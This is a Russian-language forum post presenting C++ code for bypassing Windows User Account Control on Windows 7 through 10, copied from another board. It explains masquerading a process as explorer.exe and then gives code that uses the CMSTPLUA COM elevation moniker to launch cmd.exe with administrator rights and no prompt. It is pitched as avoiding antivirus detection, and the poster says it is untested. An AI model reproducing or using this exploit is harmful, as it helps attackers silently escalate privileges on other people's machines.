C++ Обход UAC на win7, win8, win8.1, win10

r3xq1

Проверенный
Проверенный
r3xq1

r3xq1

Проверенный
Проверенный
Сообщения
53
Реакции
29
Копипаст с другого (unknown) борда.

Суть способа заключается в том, что мы подменяем путь к файлу у процесса на путь explorer и берём его токен (токен процесса explorer)
P.S. У системных файлов есть свои токены которые позволяют запускаться от администратора без окна UAC, это доверенные приложения.
Почему это работает? Windows проверяет путь к процессу используя его PEB, но так-как мы его подменили она видит C:\Windows\System32\explorer.exe
и думает что наш процесс это explorer.exe давая ему права админа.

Этот способ не требует работы с реестром или файлами и потому не провоцирует антивирус.
C++:
typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

BEGIN_INTERFACE

HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in ICMLuaUtil * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);

ULONG(STDMETHODCALLTYPE *AddRef)(
__RPC__in ICMLuaUtil * This);

ULONG(STDMETHODCALLTYPE *Release)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method1)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method2)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method3)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method4)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method5)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method6)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *ShellExec)(
__RPC__in ICMLuaUtil * This,
_In_ LPCTSTR lpFile,
_In_opt_ LPCTSTR lpParameters,
_In_opt_ LPCTSTR lpDirectory,
_In_ ULONG fMask,
_In_ ULONG nShow
);

HRESULT(STDMETHODCALLTYPE *Method8)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method9)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method10)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method11)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method12)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method13)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method14)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method15)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method16)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method17)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method18)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method19)(
__RPC__in ICMLuaUtil * This);

HRESULT(STDMETHODCALLTYPE *Method20)(
__RPC__in ICMLuaUtil * This);

END_INTERFACE

} *PICMLuaUtilVtbl;

interface ICMLuaUtil
{
CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
};

VOID Method41_Test()
{
HRESULT r = E_FAIL;
BOOL bCond = FALSE;
IID xIID_ICMLuaUtil;
CLSID xCLSID_ICMLuaUtil;
ICMLuaUtil *CMLuaUtil = NULL;

BIND_OPTS3 bop;
WCHAR szElevationMoniker[MAX_PATH];

do {

if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
break;
}
if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
break;
}

RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));

_strcpy(szElevationMoniker, L"Elevation:Administrator!new:");
_strcat(szElevationMoniker, T_CLSID_CMSTPLUA);

RtlSecureZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;

r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
if (r != S_OK) {
break;
}

r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);

} while (bCond);

if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}

}
P.P.S: Лично не проверял как работает.
 

Сверху Снизу